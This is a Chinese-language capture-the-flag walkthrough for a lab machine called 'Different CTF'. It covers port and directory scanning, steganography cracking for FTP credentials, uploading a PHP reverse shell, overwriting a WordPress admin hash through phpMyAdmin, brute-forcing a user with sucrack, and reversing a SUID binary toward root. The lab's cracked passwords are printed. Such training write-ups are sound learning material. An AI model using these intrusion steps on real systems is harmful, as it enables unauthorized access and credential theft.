Skip to main content

Different CTF

image-20240709201728656

端口扫描

root@ip-10-10-19-210:~/adana# nmap -sTCV -p- --min-rate 1000 10.10.161.234

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-28 04:36 BST
Nmap scan report for ip-10-10-161-234.eu-west-1.compute.internal (10.10.161.234)
Host is up (0.00031s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello World – Just another WordPress site
MAC Address: 02:E2:D2:FF:E7:0D (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.88 seconds

80

通过上述信息我们知道 80 端口对应的是一个 wordpresss 程序, 所以我们可以进行一些扫描

  • 从页面显示中发现一个域 : adana.thm

  • wpscan : 扫描后发现一个用户 : hakanbey01

  • 进行目录扫描

    • announcements : 不属于常规的 wordpress 目录查看后发现一个单词表以及一个图片估计是文件隐写
    • phpmyadmin
    root@ip-10-10-19-210:~/adana# gobuster dir -u http://10.10.161.234/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
    ===============================================================
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    ===============================================================
    [+] Url: http://10.10.161.234/
    [+] Threads: 10
    [+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
    [+] Status codes: 200,204,301,302,307,401,403
    [+] User Agent: gobuster/3.0.1
    [+] Extensions: html,php,txt
    [+] Timeout: 10s
    ===============================================================
    2023/10/28 05:16:26 Starting gobuster
    ===============================================================
    /wp-content (Status: 301)
    /index.php (Status: 301)
    /license.txt (Status: 200)
    /announcements (Status: 301)
    /wp-login.php (Status: 200)
    /wp-includes (Status: 301)
    /javascript (Status: 301)
    /readme.html (Status: 200)
    /wp-trackback.php (Status: 200)
    /wp-admin (Status: 301)
    /phpmyadmin (Status: 301)
    /wp-signup.php (Status: 302)
    /server-status (Status: 403)

访问 announcements 得到其中的图片以及单词表进行暴力破解, 之后我们可以得到一个密码以及对应的 base64 加密内容, 解密得到 FTP 的账号

root@ip-10-10-19-210:~/adana# stegcracker austrailian-bulldog-ant.jpg wordlist.txt 
StegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2023 - Luke Paris (Paradoxis)

Counting lines in wordlist..
Attacking file 'austrailian-bulldog-ant.jpg' with wordlist 'wordlist.txt'..
Successfully cracked file with password: 123adanaantinwar
Tried 49188 passwords
Your file has been written to: austrailian-bulldog-ant.jpg.out
123adanaantinwar
root@ip-10-10-19-210:~/adana# cat austrailian-bulldog-ant.jpg.out | base64 -d
FTP-LOGIN
USER: hakanftp
PASS: 123adanacrack

FTP

使用得到的账号访问 FTP 服务, 从目录中我们可以看出这是一个 wordpress 的站点目录:

  • .bash_history : 这告诉我们对应的目录很有可能是用户目录并且从其中得到一个用户名称 hakanbey (后续判断发现不是用户目录)
  • wp-config.php : 在此获取 wordpress 配置信息获取数据库的账号借此可以实现登陆 phpmyadmin 页面
  • 存在文件上传界面, 所以我直接上传了一个php reverse shell , 但是无法访问
root@ip-10-10-19-210:~/adana# ftp 10.10.161.234
Connected to 10.10.161.234.
220 (vsFTPd 3.0.3)
Name (10.10.161.234:root): hakanftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 8 1001 1001 4096 Jan 15 2021 .
drwxrwxrwx 8 1001 1001 4096 Jan 15 2021 ..
-rw------- 1 1001 1001 88 Jan 13 2021 .bash_history
drwx------ 2 1001 1001 4096 Jan 11 2021 .cache
drwx------ 3 1001 1001 4096 Jan 11 2021 .gnupg
-rw-r--r-- 1 1001 1001 554 Jan 10 2021 .htaccess
drwxr-xr-x 2 0 0 4096 Jan 14 2021 announcements
-rw-r--r-- 1 1001 1001 405 Feb 06 2020 index.php
-rw-r--r-- 1 1001 1001 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 1001 1001 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 1001 1001 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 1001 1001 4096 Dec 08 2020 wp-admin
-rw-r--r-- 1 1001 1001 351 Feb 06 2020 wp-blog-header.php
-rw-r--r-- 1 1001 1001 2328 Oct 08 2020 wp-comments-post.php
-rw-r--r-- 1 0 0 3194 Jan 11 2021 wp-config.php
drwxr-xr-x 4 1001 1001 4096 Dec 08 2020 wp-content
-rw-r--r-- 1 1001 1001 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 1001 1001 12288 Dec 08 2020 wp-includes
-rw-r--r-- 1 1001 1001 2496 Feb 06 2020 wp-links-opml.php
-rw-r--r-- 1 1001 1001 3300 Feb 06 2020 wp-load.php
-rw-r--r-- 1 1001 1001 49831 Nov 09 2020 wp-login.php
-rw-r--r-- 1 1001 1001 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 1001 1001 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 1001 1001 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 1001 1001 4747 Oct 08 2020 wp-trackback.php
-rw-r--r-- 1 1001 1001 3236 Jun 08 2020 xmlrpc.php
226 Directory send OK.

80

使用我们得到的账号访问 phpmyadmin 页面, 之后使用工具生成用户哈希并替换对应的网站的用户密码哈希

根据 wp-config.php 的内容得知其对应的数据库是 phpmyadmin1 , 但是修改了 phpmyadmin1 无法登陆adana.thm , 所以接着修改了 phpmyadmin 发现可以登陆管理员后台, 这说明网站存在两个 wordpress 站点, 这也就解释了为什么我们在 FTP 中上传了 rev 没有发现的原因, 还存在一个子域

image-20240709201802219

之后再 phpmyadmin1 数据库查看时, 发现一个新的子域, 这个应该就是 FTP 对应的 wordpress 了

image-20240709201808835

后渗透

www-data

访问我们上传的后门文件得到一个 reverse shell

image-20240709201825306

www-data —> hakanbey

经过一系列的筛查后并没有发现对应的权限提升路径, 所以我们可能需要去使用之前得到的密码进行暴力破解, 使用这个工具来进行操作https://github.com/hemp3l/sucrack,将其下载安装到靶机

(remote) www-data@ubuntu:/tmp/sucrack-master$ ./configure
(remote) www-data@ubuntu:/tmp/sucrack-master$ make
(remote) www-data@ubuntu:/tmp/sucrack-master/src$ ./sucrack -h

之后使用我们得到的密码表来进行暴力破解但是你会发现无法使用其破解到, 这是因为对应的密码存在某些规则,

image-20240709201835619

根据我们的 FTP 密码去扫描我们的账号发现存在三条结合判断对应的密码规则应该是 123adana+密码 根据其规则制作新的单词列表, 之后进行爆破就可以得到用户的密码了

(remote) www-data@ubuntu:/tmp/sucrack-master/src$ awk '{print "123adana" $0}' ../../wordlist.txt > ../../new_wordlist.txt
(remote) www-data@ubuntu:/tmp/sucrack-master/src$ ./sucrack -u hakanbey -w 100 ../../new_wordlist.txt
27998/803891
password is: 123adanasubaru

hakanbey —> root

使用得到的密码切换到 hakanbey 用户, 之后查找 SUID 程序发现一个特殊的程序

hakanbey@ubuntu:~$ ls -al /usr/bin/binary
-r-srwx--- 1 root hakanbey 12984 Jan 14 2021 /usr/bin/binary

将其对应的下载到本地进行查看并使用工具进行逆向分析, 从代码中我们可以看出我们首先要确保对应的输入正确

undefined8 main(void){
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_1e8 = 0x726177;
local_1e0 = 0;
local_1d8 = 0x656e6f7a;
local_1d0 = 0;
local_1c8 = 0x6e69;
local_1c0 = 0;
local_1b8 = 0x616461;
local_1b0 = 0;
local_1a8 = 0x616e;
local_1a0 = 0;
strcat((char *)&local_1e8,(char *)&local_1d8);
strcat((char *)&local_1e8,(char *)&local_1c8);
strcat((char *)&local_1e8,(char *)&local_1b8);
strcat((char *)&local_1e8,(char *)&local_1a8);
printf("I think you should enter the correct string here ==>");
__isoc99_scanf(&DAT_00100edd,local_138);
__c = strcmp(local_138,(char *)&local_1e8);
if (__c == 0) {....}

分析我们的代码, 从中我们知道了对应的 key 为 warzoneinadana, 将其提交执行, 我们看到一些输出

hakanbey@ubuntu:~$ /usr/bin/binary 
I think you should enter the correct string here ==>warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)

Copy /root/root.jpg ==> /home/hakanbey/root.jpg

根据输出显示存在一个提示, 这告诉我们估计存在文件隐写术, 我们使用十六进制工具进行查看, 选择其中的 00000020 行, 之后抓到 CyberChef 进行操作, 查看题目的提示知道了加密的规则 CyberChef , 解密之后我们就可以到 root 用户的密码了

root@ip-10-10-19-210:~/adana# xxd -l 50 root.jpg 
00000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 ......JFIF.....`
00000010: 0060 0000 ffe1 0078 4578 6966 0000 4d4d .`.....xExif..MM
00000020: fee9 9d3d 7918 5ffc 826d df1c 69ac c275 ...=y._..m..i..u
00000030: 0000 ..

image-20240709201845909

扩展

lstrace

我们可以使用 lstrace 程序来查看对应的程序执行情况

image-20240709201910073